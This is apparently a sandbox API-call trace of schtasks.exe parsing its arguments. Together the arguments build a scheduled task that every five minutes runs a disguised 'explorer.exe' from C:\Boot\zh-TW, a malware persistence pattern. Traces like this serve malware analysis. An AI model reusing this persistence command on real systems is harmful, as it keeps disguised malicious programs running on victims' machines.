[0117.034] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0117.034] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0117.034] GetLastError () returned 0x0 [0117.034] lstrlenW (lpString="MINUTE") returned 6 [0117.034] lstrlenW (lpString="MINUTE") returned 6 [0117.034] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.034] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.034] lstrlenW (lpString="/mo") returned 3 [0117.034] lstrlenW (lpString="-/") returned 2 [0117.034] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.034] lstrlenW (lpString="create") returned 6 [0117.034] lstrlenW (lpString="create") returned 6 [0117.034] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.034] lstrlenW (lpString="mo") returned 2 [0117.034] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.034] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0117.034] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.034] lstrlenW (lpString="|create|") returned 8 [0117.035] lstrlenW (lpString="|mo|") returned 4 [0117.035] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0117.035] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.035] lstrlenW (lpString="?") returned 1 [0117.035] lstrlenW (lpString="?") returned 1 [0117.035] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.035] lstrlenW (lpString="mo") returned 2 [0117.035] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.035] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|?|") returned 3 [0117.035] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.035] lstrlenW (lpString="|?|") returned 3 [0117.035] lstrlenW (lpString="|mo|") returned 4 [0117.035] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.035] lstrlenW (lpString="s") returned 1 [0117.035] lstrlenW (lpString="s") returned 1 [0117.035] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.035] lstrlenW (lpString="mo") returned 2 [0117.035] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.035] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|s|") returned 3 [0117.035] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.035] lstrlenW (lpString="|s|") returned 3 [0117.035] lstrlenW (lpString="|mo|") returned 4 [0117.035] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.035] lstrlenW (lpString="u") returned 1 [0117.035] lstrlenW (lpString="u") returned 1 [0117.035] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.035] lstrlenW (lpString="mo") returned 2 [0117.036] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|u|") returned 3 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.036] lstrlenW (lpString="|u|") returned 3 [0117.036] lstrlenW (lpString="|mo|") returned 4 [0117.036] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.036] lstrlenW (lpString="p") returned 1 [0117.036] lstrlenW (lpString="p") returned 1 [0117.036] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.036] lstrlenW (lpString="mo") returned 2 [0117.036] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|p|") returned 3 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.036] lstrlenW (lpString="|p|") returned 3 [0117.036] lstrlenW (lpString="|mo|") returned 4 [0117.036] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.036] lstrlenW (lpString="ru") returned 2 [0117.036] lstrlenW (lpString="ru") returned 2 [0117.036] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.036] lstrlenW (lpString="mo") returned 2 [0117.036] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ru|") returned 4 [0117.036] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.036] lstrlenW (lpString="|ru|") returned 4 [0117.036] lstrlenW (lpString="|mo|") returned 4 [0117.036] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0117.036] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.037] lstrlenW (lpString="rp") returned 2 [0117.037] lstrlenW (lpString="rp") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.037] lstrlenW (lpString="mo") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.037] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|rp|") returned 4 [0117.037] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.037] lstrlenW (lpString="|rp|") returned 4 [0117.037] lstrlenW (lpString="|mo|") returned 4 [0117.037] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0117.037] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.037] lstrlenW (lpString="sc") returned 2 [0117.037] lstrlenW (lpString="sc") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.037] lstrlenW (lpString="mo") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.037] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.037] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.037] lstrlenW (lpString="|sc|") returned 4 [0117.037] lstrlenW (lpString="|mo|") returned 4 [0117.037] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0117.037] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.037] lstrlenW (lpString="mo") returned 2 [0117.037] lstrlenW (lpString="mo") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.037] lstrlenW (lpString="mo") returned 2 [0117.037] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.038] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.038] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.038] lstrlenW (lpString="|mo|") returned 4 [0117.038] lstrlenW (lpString="|mo|") returned 4 [0117.038] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] _memicmp (_Buf1=0x2556b0da940, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] lstrlenW (lpString=" \x09") returned 2 [0117.038] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0117.038] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0117.038] GetLastError () returned 0x0 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] lstrlenW (lpString="5") returned 1 [0117.038] GetProcessHeap () returned 0x2556b0d0000 [0117.038] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x4) returned 0x2556b0d3c50 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.038] lstrlenW (lpString="/tr") returned 3 [0117.038] lstrlenW (lpString="-/") returned 2 [0117.038] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.038] lstrlenW (lpString="create") returned 6 [0117.038] lstrlenW (lpString="create") returned 6 [0117.039] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] lstrlenW (lpString="tr") returned 2 [0117.039] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.039] lstrlenW (lpString="|create|") returned 8 [0117.039] lstrlenW (lpString="|tr|") returned 4 [0117.039] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0117.039] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.039] lstrlenW (lpString="?") returned 1 [0117.039] lstrlenW (lpString="?") returned 1 [0117.039] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] lstrlenW (lpString="tr") returned 2 [0117.039] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|?|") returned 3 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.039] lstrlenW (lpString="|?|") returned 3 [0117.039] lstrlenW (lpString="|tr|") returned 4 [0117.039] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.039] lstrlenW (lpString="s") returned 1 [0117.039] lstrlenW (lpString="s") returned 1 [0117.039] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] lstrlenW (lpString="tr") returned 2 [0117.039] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|s|") returned 3 [0117.039] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.039] lstrlenW (lpString="|s|") returned 3 [0117.040] lstrlenW (lpString="|tr|") returned 4 [0117.040] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.040] lstrlenW (lpString="u") returned 1 [0117.040] lstrlenW (lpString="u") returned 1 [0117.040] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] lstrlenW (lpString="tr") returned 2 [0117.040] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|u|") returned 3 [0117.040] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.040] lstrlenW (lpString="|u|") returned 3 [0117.040] lstrlenW (lpString="|tr|") returned 4 [0117.040] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.040] lstrlenW (lpString="p") returned 1 [0117.040] lstrlenW (lpString="p") returned 1 [0117.040] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] lstrlenW (lpString="tr") returned 2 [0117.040] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|p|") returned 3 [0117.040] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.040] lstrlenW (lpString="|p|") returned 3 [0117.040] lstrlenW (lpString="|tr|") returned 4 [0117.040] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.040] lstrlenW (lpString="ru") returned 2 [0117.040] lstrlenW (lpString="ru") returned 2 [0117.040] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] lstrlenW (lpString="tr") returned 2 [0117.040] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.040] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ru|") returned 4 [0117.041] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.041] lstrlenW (lpString="|ru|") returned 4 [0117.041] lstrlenW (lpString="|tr|") returned 4 [0117.041] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0117.041] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.041] lstrlenW (lpString="rp") returned 2 [0117.041] lstrlenW (lpString="rp") returned 2 [0117.041] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.041] lstrlenW (lpString="tr") returned 2 [0117.041] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.041] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|rp|") returned 4 [0117.041] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.041] lstrlenW (lpString="|rp|") returned 4 [0117.041] lstrlenW (lpString="|tr|") returned 4 [0117.041] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0117.041] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.041] lstrlenW (lpString="sc") returned 2 [0117.041] lstrlenW (lpString="sc") returned 2 [0117.041] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.041] lstrlenW (lpString="tr") returned 2 [0117.041] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.041] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.041] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.041] lstrlenW (lpString="|sc|") returned 4 [0117.041] lstrlenW (lpString="|tr|") returned 4 [0117.041] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0117.041] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.041] lstrlenW (lpString="mo") returned 2 [0117.042] lstrlenW (lpString="mo") returned 2 [0117.042] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] lstrlenW (lpString="tr") returned 2 [0117.042] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.042] lstrlenW (lpString="|mo|") returned 4 [0117.042] lstrlenW (lpString="|tr|") returned 4 [0117.042] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0117.042] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.042] lstrlenW (lpString="d") returned 1 [0117.042] lstrlenW (lpString="d") returned 1 [0117.042] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] lstrlenW (lpString="tr") returned 2 [0117.042] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|d|") returned 3 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.042] lstrlenW (lpString="|d|") returned 3 [0117.042] lstrlenW (lpString="|tr|") returned 4 [0117.042] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.042] lstrlenW (lpString="m") returned 1 [0117.042] lstrlenW (lpString="m") returned 1 [0117.042] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] lstrlenW (lpString="tr") returned 2 [0117.042] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|m|") returned 3 [0117.042] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.042] lstrlenW (lpString="|m|") returned 3 [0117.043] lstrlenW (lpString="|tr|") returned 4 [0117.043] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.043] lstrlenW (lpString="i") returned 1 [0117.043] lstrlenW (lpString="i") returned 1 [0117.043] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.043] lstrlenW (lpString="tr") returned 2 [0117.043] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.043] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|i|") returned 3 [0117.043] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.043] lstrlenW (lpString="|i|") returned 3 [0117.043] lstrlenW (lpString="|tr|") returned 4 [0117.043] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.043] lstrlenW (lpString="tn") returned 2 [0117.043] lstrlenW (lpString="tn") returned 2 [0117.043] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.043] lstrlenW (lpString="tr") returned 2 [0117.043] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.043] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.043] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.043] lstrlenW (lpString="|tn|") returned 4 [0117.043] lstrlenW (lpString="|tr|") returned 4 [0117.043] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0117.043] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.043] lstrlenW (lpString="tr") returned 2 [0117.043] lstrlenW (lpString="tr") returned 2 [0117.043] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.044] lstrlenW (lpString="tr") returned 2 [0117.044] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.044] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.044] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tr|") returned 4 [0117.044] lstrlenW (lpString="|tr|") returned 4 [0117.044] lstrlenW (lpString="|tr|") returned 4 [0117.044] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.044] lstrlenW (lpString="-/") returned 2 [0117.044] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.044] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0117.044] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.044] _memicmp (_Buf1=0x2556b0d3bf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.044] _memicmp (_Buf1=0x2556b0da8a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.044] lstrlenW (lpString="'C") returned 2 [0117.047] lstrlenW (lpString="-/") returned 2 [0117.047] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0117.047] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.047] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.047] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.047] _memicmp (_Buf1=0x2556b0da940, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.047] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.047] GetProcessHeap () returned 0x2556b0d0000 [0117.047] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dab20) returned 1 [0117.047] GetProcessHeap () returned 0x2556b0d0000 [0117.047] RtlReAllocateHeap (Heap=0x2556b0d0000, Flags=0xc, Ptr=0x2556b0dab20, Size=0x3a) returned 0x2556b0dc0b0 [0117.047] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.047] lstrlenW (lpString=" \x09") returned 2 [0117.047] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.047] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.047] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0117.047] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0117.048] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0117.048] GetLastError () returned 0x0 [0117.048] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.048] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0117.048] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.048] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.049] lstrlenW (lpString="/f") returned 2 [0117.049] lstrlenW (lpString="-/") returned 2 [0117.049] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.049] lstrlenW (lpString="create") returned 6 [0117.049] lstrlenW (lpString="create") returned 6 [0117.049] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.049] lstrlenW (lpString="f") returned 1 [0117.049] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.049] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", 